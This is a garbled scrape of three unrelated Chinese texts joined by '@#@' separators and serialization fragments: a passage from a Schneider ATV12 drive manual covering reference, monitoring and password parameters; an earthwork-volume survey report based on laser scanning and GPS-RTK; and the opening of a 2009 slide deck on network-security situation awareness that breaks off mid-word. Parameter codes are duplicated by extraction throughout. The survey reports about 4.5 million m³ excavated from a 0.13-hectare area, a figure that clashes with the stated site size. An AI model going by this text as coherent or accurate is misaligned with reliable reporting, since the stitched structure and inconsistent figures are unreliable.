@#@启用本地控制功能时,HMI的导航按钮将充当电位计在其他参数(LSP和HSP)预置的限制范围内调整给定值。
@#@无需按下ENT键来确认对给定值的更改。
@#@如果禁用了本地命令模式,使用命令通道1Cd1Cd1第61页,将只显示给定值和单位。
@#@该值将是“只读的”且不能使用导航按钮进行修改(给定值不再通过导航按钮而是由AI或其他来源提供)。
@#@显示的实际给定值取决于给定通道1Fr1Fr1第60页所做的选择。
@#@组织树
(1)无需按ENT键来确认对给定的修改。
@#@
(1)取决于当前的给定通道。
@#@可能的值:
@#@LFrAIU1FrHrPIrPCLFrAIU1FrHrPIrPC
(2)2s或ESC图中显示的参数值和单位为示例。
@#@值-单位代码名称/说明调整范围出厂设置LFrLFr?
@#@
(1)M外部给定值-400至+400Hz-如果当前给定通道为远程显示,则频率给定可见。
@#@给定通道1Fr1Fr1(第60页)设置为LCCLCC或强制本地给定FLOCFLOC(第61页)设置为LCCLCC。
@#@此参数允许通过导航按钮修改频率给定值.可见性取决于变频器设置。
@#@AIU1AIU1?
@#@
(1)M虚拟模拟量输入HSP的0-100%-此参数允许通过模拟量输入修改频率给定值给定通道1Fr1Fr1(第60页)设置为AIU1AIU1或强制本地给定FLOCFLOC(第61页)设置为AIU1AIU1或PID手动给定(第72页)设置为AIU1AIU1。
@#@可见性取决于变频器设置。
@#@FrHFrHM速度给定0Hz至HSP-AI1LCCMdbAIUIAI1LCCMdbAIUI实际频率给定。
@#@此参数处于只读模式。
@#@可见性取决于变频器设置。
@#@v模拟量输入端子v远程显示终端vModbus通讯v集成的导航按钮rPIrPI?
@#@
(1)M内部PID给定0至100%-此参数允许通过导航按钮修改PID内部给定。
@#@可见性取决于变频器设置。
@#@rPCrPCMPID给定值0至100%-此参数是用%表示的PID给定。
@#@?
@#@可在操作过程中或停止时修改参数。
@#@37监视模式MOn变频器运行时,将显示受监视参数的值。
@#@默认显示的参数值是电机输出频率rFrrFr(第38页)。
@#@当显示新监视参数的值时,再次按下导航按钮即可显示该参数的单位。
@#@组织树
(1)取决于当前的给定通道。
@#@可能值:
@#@LFrAIU1LFrAIU1
(2)2s或ESC图中显示的参数值和单位为示例。
@#@值单位38监视模式MOn代码名称/说明单位LFrLFr?
@#@M外部给定值Hz已配置为远程操作面板或强制本地模式。
@#@强制本地给定FLOCFLOC(第61页)设置为LCCLCC而且强制本地分配FLOFLO(第61页)的设置不是nOnO。
@#@显示来自远程操作面板的速度给定值。
@#@在出厂设置下,此值不可见。
@#@AIU1AIU1?
@#@M虚拟模拟量输入%已配置为内置操作面板或强制本地模式。
@#@强制本地给定FLOCFLOC(第61页)设置为AIU1AIU1而且强制本地分配FLOFLO(第61页)的设置不是nOnO。
@#@显示来自导航按钮的速度给定。
@#@在出厂设置下,此值不可见。
@#@FrHFrHM速度给定Hz实际频率给定rFrrFrM输出频率Hz此参数提供估计的电机速度。
@#@它对应于估计的电机频率(位于电机轴上)。
@#@在标准电机控制类型StdStd(第55页)中,输出频率rFrrFr等于电机定子频率。
@#@在高性能电机控制类型PErFPErF(第55页)中,输出频率rFrrFr等于估计的电机速度所对应的频率。
@#@范围:
@#@-400至400HzLCrLCrM电机电流A根据相电流测量得出的有效电机电流(变频器的输出)估计值,精度为5%。
@#@在直流注入过程中,显示出的电流是注入到电机中的最大电流值。
@#@rPErPEMPID误差%只有配置了PID功能(PID反馈分配PIFPIF(第70页)设置为nOnO),才能看到此选项。
@#@请参阅第69页中的PID图。
@#@rPFrPFMPID反馈%只有配置了PID功能(PID反馈分配PIFPIF(第70页)设置为nOnO),才能看到此选项。
@#@请参阅第69页中的PID图。
@#@rPCrPCMPID给定%只有配置了PID功能(PID反馈分配PIFPIF(第70页)设置为nOnO),才能看到此选项。
@#@请参阅第69页中的PID图。
@#@ULnULnM电源电压V电机运行或停止时根据直流母线电压值得到的线电压。
@#@tHrtHrM电机热状态%显示电机热状态。
@#@超过118%时,变频器显示第95页的电机过载OLFOLF故障。
@#@tHdtHdM变频器热状态%显示变频器热状态。
@#@超过118%时,变频器显示第95页的变频器过热OHFOHF故障。
@#@OprOprM输出功率%此参数显示“估计的电机功率(在电机轴上)与变频器额定值”之间的比率。
@#@?
@#@可在操作过程中或停止时修改参数。
@#@39监视模式MOn代码名称/说明StAtStAtM产品状态此参数显示变频器和电机的状态。
@#@rdYrUnACCdEcdCbCLInStObrCtLtUnFStnLPrdYrUnACCdEcdCbCLInStObrCtLtUnFStnLPv变频器就绪v变频器正在运行,代码右侧的最后一个六段码还指示出方向和速度v加速,代码右侧的最后一个六段码还指示出方向和速度v减速,代码右侧的最后一个六段码还指示出方向和速度v正在执行直流注入制动v电流限幅,右下角显示的四段码正在闪烁v自由停车控制v减速斜坡自适应v输入电源缺相时的受控停车v正在自整定v快速停车v无输入电源。
@#@此时控制组件通过RJ45接口供电,无线路电压,且不存在运行命令。
@#@40监视模式MOn代码名称/说明单位MAI-MAI-维护菜单不能选择“维护”菜单的参数进行监视。
@#@LIS1LIS1M逻辑输入的状态LI1-LI4-可用于显示4个逻辑输入的状态。
@#@示例说明:
@#@LI1和LI3处于状态1;@#@LI2和LI4处于状态0。
@#@LOS1LOS1M逻辑输出LO1和继电器R1的状态-可用于显示逻辑输出的状态。
@#@HSUHSUM显示高速频率Hz显示高速度值对应的频率。
@#@范围为低速LSPLSP(第44页)至最大频率tFrtFr(第55页)。
@#@只有配置了2个HSP分配SH2SH2或4个HSP分配SH4SH4(第76页),此选项才可见。
@#@nCUnCUM变频器额定功率-显示变频器额定功率。
@#@此显示值为变频器型号的一部分,请参阅第10页。
@#@可能的值:
@#@018=0.18kW(0.25HP)037=0.37kW(0.50HP)055=0.55kW(0.75HP)075=0.75kW(1HP)U15=1.5kW(2HP)U22=2.2kW(3HP)U30=3kW(3HP)U40=4kW(5HP)UCALUCALM变频器额定电压-显示变频器额定电压。
@#@此显示值为变频器型号的一部分,请参阅第10页。
@#@可能的值:
@#@F1=100-120V单相输入,200-240V三相输出M2=200-240V单相输入,200-240V三相输出M3=200-240V三相输入,200-240V三相输出SPnSPnM产品编号-此参数用于查询产品的规格版本。
@#@只有SPnSPn不等于0时,此选项才可见。
@#@C1SUC1SUM卡1软件版本-应用软件版本示例:
@#@1105表示1.1ie051(主版本号),1(次版本号),05(升级号)C2SUC2SUM卡2软件版本-电机软件版本示例:
@#@1105表示1.1ie051(主版本号),1(次版本号),05(升级号)状态1状态0LI1LI2LI3LI4状态1状态0r1LO141监视模式MOn代码名称/说明单位MAI-MAI-维护菜单(续)rtHIrtHIM电机运行时间0.01电机的总通电时间。
@#@范围:
@#@0-65535小时。
@#@显示参数值说明如下。
@#@维修人员可复位此参数。
@#@小时数显示10.01100.101001.00100010.010000100PtHPtHM变频器通电时间0.01变频器的总通电时间。
@#@范围:
@#@0-65535小时。
@#@显示参数值说明如上。
@#@维修人员可复位此参数。
@#@FtHFtHM风扇运行时间0.01范围:
@#@0-65535小时。
@#@显示参数值说明如上。
@#@客户可复位此参数。
@#@PEtPEtM操作过程时间0.01?
@#@范围:
@#@0-65535小时。
@#@显示参数值说明如上表所示。
@#@客户可复位此参数。
@#@COM1COM1MModbus通信状态-r0t0rOt1r1t0r1t1r0t0rOt1r1t0r1t1vModbus无接收无传输=通信空闲vModbus无接收有传输vModbus有接收无传输vModbus有接收有传输dP1dP1M最近检测到的故障1-此参数描述最近检测到的故障。
@#@EP1EP1M检测到故障1时变频器的状态-此参数描述检测到第一个故障时变频器的状态。
@#@位0位1位2位3位4ETA.1:
@#@已起动ETA.5:
@#@快速停车ETA.6:
@#@已禁止起动已启用强制本地分配ETA.15:
@#@电机正转(或已停车)位5位6位7位8位9ETI.4:
@#@存在运行命令ETI.5:
@#@正在运行直流注入ETI.7:
@#@达到电机热阈值ETI.8:
@#@保留ETI.9:
@#@正在加速位10位11位12位13-14位15ETI.10:
@#@正在减速ETI.11:
@#@正在运行电流限幅或转矩限制正在执行快速停车ETI.14=0+ETI.13=0:
@#@通过端子或本地显示终端控制变频器ETI.14=0+ETI.13=1:
@#@通过远程显示终端控制变频器ETI.14=1+ETI.13=0:
@#@通过Modbus控制变频器ETI.14=1+ETI.13=0:
@#@保留ETI.15:
@#@斜坡反向?
@#@可在操作过程中或停止时修改参数。
@#@42监视模式MOn代码名称/说明调整范围出厂设置MAI-MAI-维护菜单(续)dP2dP2M最近检测到的故障2-此参数描述第2个检测到的故障。
@#@EP2EP2M检测到故障2时变频器的状态-此参数描述检测到第2个故障时变频器的状态。
@#@参阅EP1EP1。
@#@dP3dP3M最近检测到的故障3-此参数描述第3个检测到的故障。
@#@EP3EP3M检测到故障3时变频器的状态-此参数描述检测到第3个故障时变频器的状态。
@#@参阅EP1EP1。
@#@dP4dP4M最近检测到的故障4-此参数描述第4个检测到的故障。
@#@EP4EP4M检测到故障4时变频器的状态-此参数描述检测到第4个故障时变频器的状态。
@#@参阅EP1EP1。
@#@COdCOdMHMI密码2-9999OFFOFFOnOFFOn可能的状态值:
@#@v密码已禁用v密码已启用密码范围:
@#@2-9999如果您遗忘密码,请联系施耐德电气。
@#@此参数用于限制对变频器的操作权限。
@#@要加锁变频器,请转至HMI密码COdCOd参数,输入位于上述范围之内的密码。
@#@启用后,密码状态更改为OnOn:
@#@密码保护仅允许访问“给定”(rEFrEF)(参阅第36页)模式和“监视”(MOnMOn)(参阅第37页)模式,使用SoMove除外。
@#@此时不能恢复出厂设置或访问FULLFULL部分。
@#@可以将配置下载到SoMove。
@#@禁止从SoMove上传配置。
@#@要解锁变频器,请转至COdCOd参数,输入有效密码,然后按ENT。
@#@使用导航按钮输入OFFOFF,然后按ENT,可以取消密码保护。
@#@43配置模式ConF配置模式包括3部分:
@#@1.Mymenu包括11个出厂设置参数(默认情况下显示其中9个参数)。
@#@使用SoMove软件进行用户自定义时最多可使用25个参数。
@#@2.存储/恢复参数设置:
@#@这两种功能允许存储和恢复客户设置。
@#@3.完整:
@#@此菜单允许访问所有其他参数。
@#@它包括6个子菜单:
@#@-宏配置CFG-CFG-(第46页)-输入输出菜单I_O-I_O-(第47页)-电机控制菜单drC-(第57页)-控制菜单CtL-(第60页)-功能菜单FUn-(第62页)-故障检测管理菜单FLt-(第77页)-通信菜单COM-(第83页)组织树MotorfrequencyReferencechannel1AccelerationDecelerationLowspeedHighspeedMotorratedpowerMotorratedcurrentAI1typeStorecustomerparametersetFactory/recallcustomerparametersetFULL显示的参数值为示例。
@#@
(1)取决于当前的给定通道。
@#@可能值:
@#@LFrLFr或AIU1AIU1
(2)2s或ESC(3)可以通过SoMove软件选择另外14个可自定义参数(位于“FULL”列表)44配置模式-MyMenu代码名称/说明调整范围出厂设置LFrLFr?
@#@M外部给定值-400Hz至400Hz-此参数允许通过导航按钮修改频率给定值。
@#@已配置外部操作面板或强制本地模式。
@#@强制本地给定FLOCFLOC(第61页)设置为LCCLCC且强制本地分配FLOFLO(第61页)的设置不是nOnO。
@#@可见性取决于变频器设置。
@#@AIU1AIU1?
@#@M虚拟模拟量输入0%至100%-此参数允许修改频率给定,前提是:
@#@强制本地给定FLOCFLOC(第61页)设置为AIU1AIU1且强制本地分配FLOFLO(第61页)的设置不为nOnO如果给定通道为集成的导航按钮(给定通道1Fr1Fr1设置为AIU1AIU1),此参数可见。
@#@bFrbFrM标准电机频率50Hz50605060已配置外部操作面板或强制本地模式。
@#@(FLOC=LCC)(在出厂设置下,此参数不可见)v50Hzv60Hz请参照电机铭牌标注,将此参数设置为50Hz或60Hz。
@#@更改bFrbFr将以下参数调整回原值:
@#@FrSFrS,FtdFtd和HSPHSP:
@#@50Hz或60HzitHitH设置为nCrnCrnCrnCr:
@#@由变频器型号决定nPrnPr:
@#@Watt或HPnSPnSP:
@#@由变频器型号决定tFrtFr:
@#@60Hz或72HzFr1Fr1M给定通道1AI1AI1AI1LCCMdbAIUILCCMdbAIUI此参数允许选择给定源。
@#@v模拟量输入端子v远程显示终端vModbus通讯v集成的导航按钮ACCACC?
@#@M加速时间0.0s至999.9s3.0s从0Hz加速到电机额定频率FrSFrS(第55页)的时间。
@#@确保此值与负载的惯量兼容。
@#@dECdEC?
@#@M减速时间0.0s至999.9s3.0s从电机额定频率FrSFrS(第55页)减速至0Hz的时间。
@#@确保此值与负载的惯量兼容。
@#@LSPLSP?
@#@M低速0Hz至HSP0Hz最小给定值时的电机频率。
@#@如果已设置HSPHSP,HSP2HSP2,HSP3HSP3和HSP4HSP4,则LSPLSP被限定在这些值中的最小值之内。
@#@HSPHSP?
@#@M高速LSP至tFr(Hz)50或60Hz(取决于BFr),最大TFr最大给定值时的电机频率。
@#@检查此值是否适用于电机和应用场合。
@#@值HSPHSP,HSP2HSP2,HSP3HSP3和HSP4HSP4是相互独立的,但是每个HSPHSP值都与低速LSPLSP和最大频率tFrtFr(第55页)相关联,规则如下:
@#@HSPHSP被限定在LSPLSP至tFrtFr范围内(LSPLSPyHSPHSPxytFrtFr)如果tFrtFr低于当前的HSPx值,则HSPx自动降低到tFrtFr的最新值。
@#@设置HSPHSP,HSP2HSP2,HSP3HSP3和HSP4HSP4之后,LSPLSP被限定为在其中的最小值之内。
@#@?
@#@可在操作过程中或停止时修改参数。
@#@45配置模式-MyMenu如何在本地控制变频器在出厂设置下,“运行、“停止”和导航按钮都处于禁用状态。
@#@要在本地控制变频器,请调整下列参数:
@#@将给定通道1Fr1Fr1(第44页)设置为AIU1AIU1(使用带导航按钮的集成显示屏)。
@#@LI分配说明ATV12支持多重分配功能(即,可以将AC2AC2和rrSrrS分配给同一LI)。
@#@对于一些功能,还可以进行LIH(高电平)或LIl(低电平)分配,也就是说,可以设定在LI的高电平(LIH)或低电平(LIl)时激活这些功能。
@#@代码名称/说明调整范围出厂设置nPrnPrM电机额定功率NCV-5至NCV+2取决于变频器型号只有电机参数选择MPCMPC(第58页)设置为nPrnPr,此参数才可见。
@#@如果有nPrnPr,则CoSCoS消失。
@#@铭牌上标注了电机额定功率。
@#@电机的功率可在比变频器低五个等级至高两个等级范围内设置。
@#@整体性能在变频器与电机相差一个功率等级(最大)范围内最优。
@#@如果标准电机频率bFrbFr(第44页)设置为50Hz,则电机额定功率nPrnPr单位为kW,否则为HP。
@#@SCSSCSM存储客户参数设置nOnOStr1nOStr1此功能将创建现有配置的备份:
@#@v功能禁用v在变频器内存中保存当前配置。
@#@完成保存后,SCSSCS将立即自动切换为nOnO。
@#@当变频器出厂时,当前配置和备份配置均使用出厂设置进行初始化。
@#@FCSFCSM出厂/恢复客户参数设置nOnOrEC1InIInI1nOrEC1InIInI1此功能允许恢复某一配置。
@#@v功能禁用当完成执行下列某一操作后,FCSFCS将立即自动更改为nOnO。
@#@v当前配置将变为与以前由SCSSCS保存的备份配置相同。
@#@完成执行此操作后,FCSFCS将立即自动更改为nOnO。
@#@仅当完成执行备份后,才能看到rEC1rEC1。
@#@如果出现此值,则InI1InI1不可见。
@#@v当前配置将变为与出厂设置相同。
@#@如果出现此值,则InI1InI1不可见。
@#@v当前配置将变为与以前由SoMove软件定义的备份配置相同。
@#@如果出现此值,则IniIni和rEC1rEC1不可见。
@#@危险异常设备操作检查对当前配置所做的修改是否与所用接线图兼容。
@#@不按照说明操作可能导致人身伤亡。
@#@要更改此参数的分配,请按下“ENT”键并保持2秒。
@#@2s2s2s46配置模式-完整菜单(FULL)代码名称/说明调整范围出厂设置CFGCFGM宏配置StS危险异常设备操作检查选定的宏配置是否与所用接线图兼容。
@#@不按照说明操作可能导致人身伤亡。
@#@StSPIdSPdStSPIdSPd宏配置提供了一种可配置适用于特定应用领域的一组参数的快捷方式。
@#@共有3种宏配置:
@#@v起动/停止。
@#@仅分配正转vPID调节。
@#@激活PID功能,专用AI1用于反馈,AIV1用于给定。
@#@v速度。
@#@将LI分配给预置速度(与ATV11的分配相同),提供一种针对特定应用领域快速功能配置的方法。
@#@选择一种宏配置以分配该宏配置中的参数。
@#@每个宏配置仍可在其他菜单中进行修改。
@#@要更改此参数的分配,请按下“ENT”键并保持2秒。
@#@2s输入/输出或参数起动/停止PID调节速度AI1给定通道1PID反馈无AIV1无给定通道1AO1无LO1无R1未检测到变频器故障L1h(2线控制)正转L2h(2线控制)无反转L3h(2线控制)无自动/手动2个预置速度L4h(2线控制)无4个预置速度L1h(3线控制)停止L2h(3线控制)正转L3h(3线控制)无反转L4h(3线控制)无自动/菜单2个预置速度Fr1Fr1(给定通道1)AIUIAIUICttAIUIAIUICtt(电机控制类型)PUMPPUMPrInrIn(反向禁止)YESYESAI1tAI1t(AI1t类型)0A0ALFLlLFLl(4-20mA丢失行为)YESYESSP2SP2(预置速度2)10.0SP310.0SP3(预置速度3)25.0SP425.0SP4(预置速度4)50.0MPC50.0MPC(电机参数选项)COSAdCCOSAdC(自动直流注入)YESYESYESYESYESYES2s47配置模式-完整菜单(FULL)代码名称/说明调整范围出厂设置I_O-I_O-输入输出菜单tCCtCCM控制类型2C2C3C2C3Cv2线控制(参阅第50页)输入的开关状态控制运行或停止。
@#@“源型”接线示例:
@#@LI1:
@#@正转LIx:
@#@反转v3线控制(参阅第50页)“正转”或“反转”脉冲发送运行命令,“停止”脉冲发送停止命令。
@#@“源型”接线示例:
@#@LI1:
@#@停止LI2:
@#@正转LIx:
@#@反转危险异常设备操作2线控制tCttCt(第50页)和所有分配逻辑输入的功能将被恢复为出厂设置。
@#@另外,由用户自定义过的当前宏配置也会被复位(自定义设置将丢失)。
@#@请检查宏配置更改是否与所用接线图兼容。
@#@不按照说明操作可能导致人身伤亡。
@#@要更改此参数的分配,请按下“ENT”键并保持2秒。
@#@I-O-I-O-drC-CtL-FUN-FLt-COM-drC-CtL-FUN-FLt-COM-2s2s";i:
17;s:
9884:
"土方计算解决方案广州中海达定位技术有限公司第
(1)页填挖方体积测量报告填挖方体积测量报告广州中海达定位技术有限公司一、概述一、概述本次土方外业数据采集前后共用时2.5天,完成了测区0.13公顷的多山体的整体扫描。
@#@三维激光扫描设立站点35个,全部外业三维激光扫描数据3G。
@#@同时,采用GPS-RTK测量84个测区范围点。
@#@配合三维激光扫描不同测站三维点云数据的拼接,采用GPS-RTK测量207个靶球坐标。
@#@通过对三维激光扫描点云数据的绝对坐标解算、滤波处理和三角网构建,与开挖面高程模型进行开挖计算统计,测区范围按照设计开挖面全部挖方:
@#@4525055.8914m3,填方:
@#@790.2523m3。
@#@二、测量依据二、测量依据1、CJJ8-99城市测量规范;@#@2、光电测距仪GB/T14267-20093、全球定位系统(GPS)测量规范GB/T18314-20094、工程测量规范GB50026-2007)三、测量方法与测量过程三、测量方法与测量过程11、测量方法、测量方法土方计算解决方案广州中海达定位技术有限公司第
(2)页采用高精度三维激光扫描仪直接测量出被测物体表面高密度点的三维坐标,通过GPS-RTK测量出不同三维激光扫描测站连接点的绝对坐标,以此将不同测站的三维激光扫描点云数据合并成全区域三维点云;@#@进一步对三维点云中的植被进行滤波和编辑处理,获取被测对象高密度的地面高程,据此对测物体表面进行不规则三角网(TIN)的构建,生成DEM数据;@#@最后,根据生成的DEM模型与开挖面高程模型进行开挖分析,统计开挖分析后的开挖数据,得出具体的开挖工程量。
@#@22、测量仪器、测量仪器三维激光扫描采用FaroFocus3D(如图1)地面高精度激光扫描仪。
@#@FaroFocus3D三维激光扫描成像系统是Faro公司在新所推出的划时代的激光扫描仪新产品。
@#@该扫描仪体积小、重量轻、携带方便,外业操作简单、快速。
@#@它使用极其纤细的近红外线激光束,采用非接触式快速获取数据的相位式扫描机制原理,每秒发射高达976,000点的纤细激光束,单站扫描时间仅需3分钟,且换站扫描时无需关闭扫描仪,无需对中整平。
@#@土方计算解决方案广州中海达定位技术有限公司第(3)页(图1施工用FaroFocus3D三维激光扫描仪)FaroFocus3D三维激光扫描仪具体的技术指标如下:
@#@扫描距离:
@#@153.49m尺寸:
@#@24x20x10cm3扫描精度:
@#@2mm(25米距离处,一次单点扫描)激光发射频率:
@#@976,000点/秒扫描视场范围:
@#@305x360((垂直x水平)双轴倾斜补偿器:
@#@准确度0.015,测量范围5土方计算解决方案广州中海达定位技术有限公司第(4)页GPS-RTK测量所使用的仪器为中海达GPS33、测量过程、测量过程本次三维激光扫描的区域地形比较复杂,山头、山坳很多,并有植被覆盖。
@#@在实施三维激光扫描时采取的基本方法是:
@#@1)分站扫描:
@#@充分考虑通视和覆盖,设定不同的测站实施三维激光点云获取。
@#@选择测站时,首先在山顶最上面将能看清的数据一次全部扫描;@#@然后在山坳地区,采用3点补扫,即在山坳的两个山尖各扫描一次,然后在最下面扫描一次,以保证扫描数据没有遗漏。
@#@2)靶球测量:
@#@为了将各测站的三维激光扫描数据拼接整合成全区域的三维点云,对每一测站扫描时,布设不少于3个靶球,并由GPS-RTK直接测量去三维坐标,从而直接得到每一测站点云在WGS-84下的三维坐标。
@#@布设靶球时,尽量考虑相邻测站靶球的共用,以保证绝对定位测量和拼接精度。
@#@3)扫描参数设定:
@#@此次35个测站设定相同的三维激光扫描参数,设定的具体扫描参数如下:
@#@扫描距离:
@#@100150M,扫描精度:
@#@68mm,激光发射频率:
@#@976,000点/秒,扫描视场范围:
@#@305360(垂直水平)连接:
@#@使用触摸界面控制扫描仪扫描时间:
@#@3min44、激光扫描数据处理、激光扫描数据处理土方计算解决方案广州中海达定位技术有限公司第(5)页激光扫描数据处理主要包括:
@#@坐标转换、点云裁剪以及噪声点剔除、数据重采样、点云数据导出等步骤。
@#@1)坐标转换:
@#@主要是将点云的坐标系统由工程坐标系统转换为WGS84坐标系统中去。
@#@由于Faro每一次扫描的数据都是使用的它自身所设定的工程坐标系统(即以当前扫描站点为坐标中心点的坐标系统),所以需要利用每一站的靶球(测有大地坐标)来将点云坐标转换为WGS84坐标。
@#@此处转换主要是利用每一个站点的3张靶球的大地坐标与它的工程坐标进行配准,配准完成之后坐标系统之间转换即完成。
@#@本次转换标准差最大为0.0049m,一般的都在0.0025m左右,完全满足本次土方量计算精度要求。
@#@2)点云裁剪以及噪声点剔除:
@#@在数据扫描的过程中,因为大部分采用的是360全方位扫描,所以不可避免的产生了很多的冗余数据;@#@还因为一些各种各样的其他原因,比如天空飞翔的小鸟等产生的噪声数据等,这样就不可避免的需要进行点云数据的滤波。
@#@采用FaroFocus3D随机配置的FaroScene软件逐站将激光扫描数据导入,通过软件的过滤功能去除噪声点云,得到滤波点云数据。
@#@3)数据重采样:
@#@三维激光点云数据量大导致后期处理的麻烦,根据土方测量精度要求,对点云数据进行重采样。
@#@在进行重采样处理过程中,数据将因平均而降低。
@#@本次重采样一共进行了2次,将原来高达几百M的数据最后都控制在10M以内,而且还保证了数据的完整度。
@#@重采样后的点云间隔为10cm-15cm,测区范围内高程点数据达到200万个,完全满足土方计算要求。
@#@土方计算解决方案广州中海达定位技术有限公司第(6)页4)数据导出:
@#@为了后续土方计算方便,将点云数据导出为dxf格式的数据,直接输出到AutoCAD进行下一步的植被滤波。
@#@5)植被过滤:
@#@该次扫描的山体覆盖了大面积的植被,要精准获取山体的填挖方体积,必须剔除植被数据。
@#@此处使用的植被过滤方法是移动窗口差分算法,首先定义一定大小的窗口,该窗口内的最低点(高程最小)为地面点,该窗口内距离该地面点超过一定阈值的点既认为是非地面点,在最终成果内删除改点。
@#@显然,窗口以及高程阈值的大小会影响最终的滤波结果,过大将导致植被点划分为地面点,又可能平滑去掉一些小的地形不连续部分,并且计算量大。
@#@此处使用的参数窗口大小为0.5mx0.5m,高程阈值是1米。
@#@结果如下图所示:
@#@过滤前土方计算解决方案广州中海达定位技术有限公司第(7)页过滤后将过滤后的点云,输出为txt格式的数据。
@#@四、土方计算四、土方计算土方计算采用了构建测区高精度TIN的方法。
@#@通过三维激光扫描获取的测区范围高密度点云三维坐标进行不规则三角网(TIN)的构建。
@#@同样,根据开挖面给定的高程点构建TIN,两个TIN模型直接相减,即可得到开挖结果,对开挖结果数据进行统计,分别得到开挖土方量。
@#@构建TIN以及基于TIN进行开挖计算全部在ArcGIS软件中进行。
@#@过程如下:
@#@11、测区三维点云数据导入测区三维点云数据导入土方计算解决方案广州中海达定位技术有限公司第(8)页过滤后将三维激光扫描点云在ArcMap中导入,得到测区范围的全部高程点。
@#@22、填挖方量统计计算填挖方量统计计算查看填挖方分析结果属性表,将结果导出,得到不同分布的填挖方量和面积,如图7。
@#@土方计算解决方案广州中海达定位技术有限公司第(9)页图7填挖方属性表33、成果整理成果整理VALUECOUNTVOLUMEVAREA填方(m)挖方(m)总面积()28184-333.4392745.3976-790.25234525055.8915137128.8551857-223.3836230.9112土方计算解决方案广州中海达定位技术有限公司第(10)页389-34.714436.45973911-34.477144.5618226-29.801424.3064716-28.524864.8172366-21.141824.306415-15.910420.2554352-14.08298.102134-13.646216.2043213-8.416812.153242-6.21028.102162-5.03218.102193-4.205012.1532316-3.966824.306土方计算解决方案广州中海达定位技术有限公司第(11)页4232-3.93708.1021111-1.83254.0511241-1.69864.051151-0.71494.0511272-0.68428.1021201-0.68424.0511132-0.65738.102181-0.63464.0511191-0.55414.0511151-0.50384.0511371-0.41714.0511341-0.36384.0511141-0.24004.0511262-0.20718.1021171-0.13244.0511251-0.03804.05111250.000020.255416630.0000255.2177土方计算解决方案广州中海达定位技术有限公司第(12)页4210.00004.05114010.11704.05111010.41474.05113310.41924.05113210.46034.05112910.64944.05113021.42588.10214116.28964.05112334374525046.1155135455.7614对填挖方分析结果属性表进行统计,得到填挖方结果表如下。
@#@五、结论五、结论综上测量和计算,截止2010年9月17日,测区按照设计开挖面全部开挖土方量为4525055.8915m,填方量为790.2523m。
@#@";i:
18;s:
21987:
"大规模网络安全态势感知需求、挑战与技术需求、挑战与技术贾焰教授国防科大计算机学院网络所2009年10月22日报告内容?
@#@什么是态势感知?
@#@?
@#@网络安全态势感知研究意义?
@#@网络安全态势感知关键技术?
@#@YH-SAS?
@#@一个新型的网络安全态势感知系统?
@#@机遇和挑战态势预测(三级)态势感知定义?
@#@wikipedia?
@#@Situationawareness,orSA,istheperceptionofenvironmentalelementswithinavolumeoftimeandspace,thecomprehensionoftheirmeaning,andtheprojectionoftheirstatusinthenearfuture.?
@#@态势感知态势感知就是在一定的时空条件下,对环境因素进行获取、理解以及对其未来状态进行预测。
@#@态势理解(二级)态势要素获取(一级)态势感知定义(续)?
@#@Adam,1993?
@#@SAissimply“knowingwhatisgoingonsoyoucanfigureoutwhattodo”。
@#@?
@#@态势感知态势感知可简单理解为“了解将要发生的事以便做好准备”。
@#@?
@#@Moray,2005?
@#@SAisashorthanddescriptionfor“keepingtrackofwhatisgoingonaroundyouinacomplex,dynamicenvironment”。
@#@?
@#@态势感知态势感知可简单描述为“始终掌握你周边复杂、动态环境的变化”。
@#@相关概念态势评估态势评估?
@#@JayBayne,2006?
@#@SituationAssessment(SAS)istorefertotheactiveprocessesandbehaviors(andconditions)thataffordthedevelopmentandmaintenanceofsituationknowledge.?
@#@态势评估态势评估就是为实现态势感知而采用的方法、及其相关的行为过程。
@#@技术技术阶段阶段态势感知态势感知态势评估态势评估结果结果过程过程雨林木风幻灯片5幻灯片5雨林木风2雨林木风2更加简短的定义雨林木风,2009-10-19态势感知的发展历史发源于孙子兵法:
@#@“知己知彼,百战不殆”发源于孙子兵法态势感知的发展历史首次作为概念提出于一战发源于孙子兵法首次提出于一战态势感知的发展历史发源于孙子兵法首次提出于一战在越战和朝鲜战争中被美国空军系统研究在越战和朝鲜战争中系统研究态势感知的发展历史发源于孙子兵法首次提出于一战在越战和朝鲜战争中系统研究目前广泛应用于军事、电力、交通、通讯等领域台海军事态势马德里晚高峰交通态势美国工作岗位态势报告内容?
@#@什么是态势感知?
@#@?
@#@网络安全态势感知研究意义?
@#@网络安全态势感知关键技术?
@#@YH-SAS?
@#@一个新型的网络安全态势感知系统?
@#@机遇和挑战骨干网已有的防御手段运营商电信移动网通重要信息系统运营商重要信息系统骨干网IDSFWVDS主机防御系统主机防御系统防御手段单维度性基于主机的病毒查杀工具基于网络的病毒查杀工具用于加强访问控制的软硬件保护设施网络或系统的异常访问行为检查IDSFWVDS主机防御系统主机防御系统海量、冗余的告警信息Snort报警数据报警数据Nagios服务监控服务监控Ntop流量监控流量监控Nessus扫描结果扫描结果CheckPoint报警数据报警数据网络安全态势感知定义?
@#@TimBass,1999?
@#@Cyber空间态势感知空间态势感知(CyberspaceSituationAwareness),是指在大规模网络环境中,对能够引起网络态势发生变化的安全要素进行获取、理解、显示以及预测未来的发展趋势。
@#@是指在大规模网络环境中,对能够引起网络态势发生变化的安全要素进行获取、理解、显示以及预测未来的发展趋势。
@#@态势感知在网络安全监控中的地位和作用报告内容?
@#@什么是态势感知?
@#@?
@#@网络安全态势感知研究意义?
@#@网络安全态势感知关键技术?
@#@YH-SAS?
@#@一个新型的网络安全态势感知系统?
@#@机遇和挑战态势评估模型研究现状与存在的问题研究现状与存在的问题Endsley的理论模型的理论模型Endsley的理论模型的理论模型Endsley的理论模型的理论模型哈工程的NSAS模型模型态势评估研究现状与存在的问题研究现状与存在的问题哈工程的NSAS模型模型Endsley的理论模型的理论模型哈工程的NSAS模型模型中科大的数据融合模型中科大的数据融合模型态势评估研究现状与存在的问题研究现状与存在的问题中科大的数据融合模型中科大的数据融合模型软件所层次化模型软件所层次化模型态势评估研究现状与存在的问题研究现状与存在的问题软件所层次化模型软件所层次化模型Endsley的理论模型的理论模型哈工程的NSAS模型模型中科大的态势势评估模型中科大的态势势评估模型中科大的数据融合模型中科大的数据融合模型一个广泛接受的通用理论模型一个广泛接受的通用理论模型针对局域网和单机的日志数据的收集和分析,尚不能适用于大规模互联网网络安全的态势评估需求针对局域网和单机的日志数据的收集和分析,尚不能适用于大规模互联网网络安全的态势评估需求态势评估研究现状与存在的问题研究现状与存在的问题软件所层次化模型软件所层次化模型软件所层次化模型软件所层次化模型Endsley的理论模型的理论模型哈工程的NSAS模型模型中科大的态势势评估模型中科大的态势势评估模